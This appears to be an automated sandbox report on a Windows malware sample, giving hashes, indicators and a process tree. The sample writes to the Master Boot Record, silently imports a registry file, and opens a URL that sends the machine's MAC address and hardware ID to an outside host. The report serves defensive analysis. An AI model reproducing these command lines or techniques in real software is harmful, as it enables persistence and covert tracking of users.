Analysis
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max time kernel
40s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
19/09/2022, 06:14
Static task
static1
Behavioral task
behavioral1
Sample
786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe
Resource
win7-20220812-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
8 signatures
150 seconds
General
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Target
786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe
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Size
16KB
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MD5
fcd15dbccd032c74664ef69964c5a2b6
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SHA1
faa4559001782481781c96c6aab7afe91de33db4
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SHA256
786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66
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SHA512
c81f76b5a21514d2568dca728b8f3af9d8e3ec71c8518ad9936695534f6b9d0dae0aa8a4e9e61af2edf1cec088547479aa66b5f41381743f1eab723131843d29
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SSDEEP
384:5gK+aczPVLXOjtYel7ZZH9Ej3MoYn8N1YmnrtFyxAt:5I/1Ojt1nuYGYYtFKq
Score
6/10
Malware Config
Signatures
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Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A17B0551-3807-11ED-AA01-6AB3F8C7EA51} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application regedit.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler regedit.exe -
Runs .reg file with regedit 1 IoCs
pid Process 2040 regedit.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2044 iexplore.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 2044 iexplore.exe 2044 iexplore.exe 1064 IEXPLORE.EXE 1064 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 112 wrote to memory of 944 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 28 PID 112 wrote to memory of 944 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 28 PID 112 wrote to memory of 944 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 28 PID 112 wrote to memory of 944 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 28 PID 112 wrote to memory of 2044 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 31 PID 112 wrote to memory of 2044 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 31 PID 112 wrote to memory of 2044 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 31 PID 112 wrote to memory of 2044 112 786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe 31 PID 944 wrote to memory of 2040 944 cmd.exe 30 PID 944 wrote to memory of 2040 944 cmd.exe 30 PID 944 wrote to memory of 2040 944 cmd.exe 30 PID 944 wrote to memory of 2040 944 cmd.exe 30 PID 2044 wrote to memory of 1064 2044 iexplore.exe 33 PID 2044 wrote to memory of 1064 2044 iexplore.exe 33 PID 2044 wrote to memory of 1064 2044 iexplore.exe 33 PID 2044 wrote to memory of 1064 2044 iexplore.exe 33
Processes
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C:\Users\Admin\AppData\Local\Temp\786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe"C:\Users\Admin\AppData\Local\Temp\786b8126b7d82a0c7dd477583e42b881b665a0db8ef985e80843bec7133bec66.exe"1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:112 -
C:\Windows\SysWOW64\cmd.execmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"2⤵
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\SysWOW64\regedit.exeregedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"3⤵
- Modifies registry class
- Runs .reg file with regedit
PID:2040
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=00B3F8C7EA51&Hard=QM00013&ClientType=Home&Process=29&UserID=0017&Authen=793-4652⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2044 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1064
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1KB
MD5626e2d76f5c328d57a3eff6a7f94d129
SHA1210fd33fa005775b30a8fd40a065a2e788934216
SHA2565d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e
SHA512629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1